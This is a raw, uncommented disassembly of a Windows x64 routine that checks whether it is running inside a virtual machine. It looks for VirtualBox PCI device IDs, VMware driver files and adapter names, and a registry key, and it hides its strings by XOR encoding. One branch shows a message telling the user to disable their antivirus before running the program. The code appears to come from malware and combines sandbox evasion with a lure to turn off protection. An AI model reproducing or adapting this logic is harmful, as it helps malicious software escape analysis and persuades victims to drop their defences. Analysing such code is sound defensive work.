mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, r13
mov rdx, r12
mov rcx, rdi
call rbx
test eax, eax
js 0x1400354f6
mov rcx, qword [rbp + 0xc40]
test rcx, rcx
je 0x1400354f6
mov dword [rbp + 0xcb0], esi
test esi, esi
jne 0x1400354f0
mov rax, qword [rcx]
mov rax, qword [rax + 0x20]
lea rdx, [rbp + 0xcb0]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x1600]
lea edx, [rsi - 1]
lea r8d, [rsi + 0xa]
call rax
mov r15d, eax
test eax, eax
js 0x1400354e0
xor ebx, ebx
cmp dword [rbp + 0xcb0], ebx
jbe 0x1400354e0
test esi, esi
jne 0x1400354e0
lea rdi, [rbp + 0x1600]
lea rdi, [rdi + rbx*8]
mov rcx, qword [rdi]
mov dword [rbp + 0xcb8], 0xfff
mov rax, qword [rcx]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0xcb8]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xc80]
xor r8d, r8d
lea rdx, str.DeviceId
call rax
test eax, eax
js 0x1400354c7
cmp word [rbp + 0xc80], 1
je 0x1400354c7
cmp dword [rbp + 0xcb8], 8
jne 0x1400354c7
lea rdx, str.PCIVEN_80EEDEV_CAFE
mov rcx, qword [rbp + 0xc88]
call fcn.140047e60
test rax, rax
setne sil
jmp 0x1400354c9
xor esi, esi
mov rcx, qword [rdi]
mov rax, qword [rcx]
call qword [rax + 0x10]
inc ebx
cmp ebx, dword [rbp + 0xcb0]
jb 0x140035445
mov rcx, qword [rbp + 0xc40]
test r15d, r15d
je 0x140035401
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0xc50]
test rcx, rcx
je 0x14003551a
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
movabs r15, 0xe0ee54dcd1454548
movabs rdi, 0x44ca841e7b15ed66
test esi, esi
movabs rsi, 0x27f454ebb7672375
je 0x14003562e
movabs rax, 0x4e9923b4cf084103
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x37afe7770d708939
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rcx, 0xa83bf489d89ac547
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1390], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1398], rax
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1380]
vmovdqa ymmword [rbp + 0x6e0], ymm1
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x9a0]
vzeroupper
call fcn.1400122c0
nop
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x9a0]
call fcn.140008650
inc r14d
xor r12d, r12d
lea r13, [r12 - 1]
jmp 0x140035656
movabs rdi, 0x44ca841e7b15ed66
movabs rsi, 0x27f454ebb7672375
movabs r15, 0xe0ee54dcd1454548
call fcn.1400419d0
movabs rbx, 0x55ab3199d6104e03
test eax, eax
je 0x140035701
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0x44fbfd7b104a8a03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1140], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1148], rax
movdqa xmm0, xmmword [rbp + 0x450]
xorps xmm0, xmmword [rbp + 0x1140]
movdqa xmmword [rbp + 0x450], xmm0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x980]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x980]
call fcn.140008650
inc r14d
movabs rax, 0x97297538022c11d0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs rax, 0x6c73a52933709323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0x9fcfdb356206e071
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0x62810bf88b9f6967
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
movabs rax, 0x527c287493843b47
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x311c9e218c62dc26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x172a8b1690f6be76
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0xe5ef6f9612dabe8a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0xcd3e5e968702bc87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rcx, 0xc8ad1734c9977fc
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a0], rax
movabs rax, 0x6c36a57b33319374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a8], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12b0], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12b8], rax
movabs rax, 0x521f281a93cd3b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c0], rax
movabs rax, 0x31519e778c3edc08
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c8], rax
movabs rax, 0x174f8b649097be01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12d0], rax
movabs rdx, 0xe5806ff9128ebeaa
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x12d8], rax
movabs rax, 0xcd3e5e968771bceb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x12e8], rax
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x12a0]
vmovdqa ymmword [rbp + 0x780], ymm1
vmovdqu ymm0, ymmword [rbp + 0x12c0]
vpxor ymm0, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x7a0], ymm0
vmovdqa xmm1, xmmword [rbp + 0x7c0]
vxorps xmm1, xmm1, xmmword [rbp + 0x12e0]
vmovdqa xmmword [rbp + 0x7c0], xmm1
vzeroupper
call fcn.14003ce40
xor r8d, r8d
lea rdx, [rbp + 0x780]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140035968
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140035a17
mov rcx, qword [rbp + 0xc60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0x44f8fd7b104a8a03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1150], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1158], rax
movdqa xmm0, xmmword [rbp + 0x460]
xorps xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0x460], xmm0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x960]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x960]
call fcn.140008650
inc r14d
movups xmm0, xmmword [str.C:WINDOWS_system32drivers_vmmouse.sys]
movups xmmword [rbp + 0x16e0], xmm0
movups xmm1, xmmword [0x140083678]
movups xmmword [rbp + 0x16f0], xmm1
movsd xmm0, qword [0x140083688]
movsd qword [rbp + 0x1700], xmm0
lea rcx, [rbp + 0x16e0]
call fcn.14003cf90
movabs rbx, 0x54ab3199d6104e03
test eax, eax
je 0x140035af5
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x44fbe17212739e1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1160], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1168], rax
movdqa xmm0, xmmword [rbp + 0x280]
xorps xmm0, xmmword [rbp + 0x1160]
movdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x920]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x920]
call fcn.140008650
inc r14d
movups xmm0, xmmword [str.C:WINDOWS_system32drivers_vmhgfs.sys]
movups xmmword [rbp + 0x1658], xmm0
movups xmm1, xmmword [0x1400836a0]
movups xmmword [rbp + 0x1668], xmm1
mov eax, dword [0x1400836b0]
mov dword [rbp + 0x1678], eax
movzx eax, word [0x1400836b4]
mov word [rbp + 0x167c], ax
movzx eax, byte [0x1400836b6]
mov byte [rbp + 0x167e], al
lea rcx, [rbp + 0x1658]
call fcn.14003cf90
test eax, eax
je 0x140035be0
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0x44f8e17212739e1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1180], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1188], rax
movdqa xmm0, xmmword [rbp + 0x290]
xorps xmm0, xmmword [rbp + 0x1180]
movdqa xmmword [rbp + 0x290], xmm0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0xaa0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xaa0]
call fcn.140008650
inc r14d
call fcn.140042020
test eax, eax
je 0x140035c8b
movabs rax, 0x4aab3199d6104e03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x44ca841e7b158e07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1198], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
xorps xmm0, xmmword [rbp + 0x1190]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x9e0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x9e0]
call fcn.140008650
inc r14d
call fcn.1400423f0
test eax, eax
je 0x140035d36
movabs rax, 0x43ab3199d6104e03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0x44caf77b187c9b03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1130], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1138], rax
movdqa xmm0, xmmword [rbp + 0x2b0]
xorps xmm0, xmmword [rbp + 0x1130]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x880]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x880]
call fcn.140008650
inc r14d
mov dword [rbp + 0xc38], r12d
mov qword [rbp + 0xcd8], r12
mov qword [rsp + 0x20], r13
lea r9, str.VMware
mov r8d, 0x400
lea rdx, [rbp + 0x2000]
lea rcx, [rbp + 0xcd8]
call fcn.140057268
lea rdx, [rbp + 0xc38]
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140035e2f
mov edx, dword [rbp + 0xc38]
lea ecx, [rax - 0x2f]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rbp + 0xcc8], rax
mov qword [rbp + 0xcd0], rbx
test rbx, rbx
je 0x140035e20
lea rdx, [rbp + 0xc38]
mov rcx, rbx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov rbx, qword [rbp + 0xcd0]
test eax, eax
jne 0x140035e20
test rbx, rbx
je 0x140035e20
nop dword [rax]
lea r9, [rbx + 0x110]
mov qword [rsp + 0x20], r13
mov r8d, 0x400
lea rdx, [rbp + 0x2800]
lea rcx, [rbp + 0xcd8]
call fcn.140057268
lea rdx, [rbp + 0x2000]
lea rcx, [rbp + 0x2800]
call fcn.140047e60
test rax, rax
jne 0x140035f86
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140035dd0
mov rbx, qword [rbp + 0xcd0]
test rbx, rbx
je 0x140035e2f
mov rcx, rbx
call qword [rbp + 0xcc8]
nop
movabs rbx, 0xa83bf489d89ac547
call fcn.140042950
test eax, eax
je 0x140035f2e
movabs rax, 0x50ab3199d6104e03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0x25a3f67b084a840b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0xa83bf489d89ac52b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13c8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x13d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13d8], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x13c0]
vmovdqa ymmword [rbp + 0x720], ymm1
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0xbe0]
vzeroupper
call fcn.1400122c0
nop
lea rdx, [rbp + 0xbe0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xbe0]
call fcn.140008650
inc r14d
cmp r14d, 4
jg 0x1400360b8
call fcn.1400360e0
call fcn.140030370
cmp al, 1
je 0x140036090
lea rcx, [rbp + 0xc98]
call fcn.140013b90
mov rcx, qword [rbp + 0x3000]
xor rcx, rsp
call fcn.140045ce0
lea r11, [rsp + 0x3070]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [rbp + 0xcd0]
test rcx, rcx
je 0x140035f99
call qword [rbp + 0xcc8]
nop
movabs rax, 0x46ab3199d6104e03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
movabs rax, 0x2a95f67b0f658c02
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movabs rax, 0xa83bf489d8ffa826
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13a8], rax
movabs rbx, 0xa83bf489d89ac547
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x13b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13b8], rax
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x13a0]
vmovdqa ymmword [rbp + 0x700], ymm1
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xc00]
vzeroupper
call fcn.1400122c0
nop
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xc00]
call fcn.140008650
inc r14d
jmp 0x140035e39
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Your_antivirus_is_not_disabled___Please_disable_it_before_running_the_program
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.140056698
int3
call fcn.140055d34
int3
lea rdx, [rbp + 0xc98]
lea rcx, [rbp + 0xc20]
call fcn.1400373b0
mov rcx, rax
call fcn.14000f090
call fcn.140031130
call fcn.140056698
int3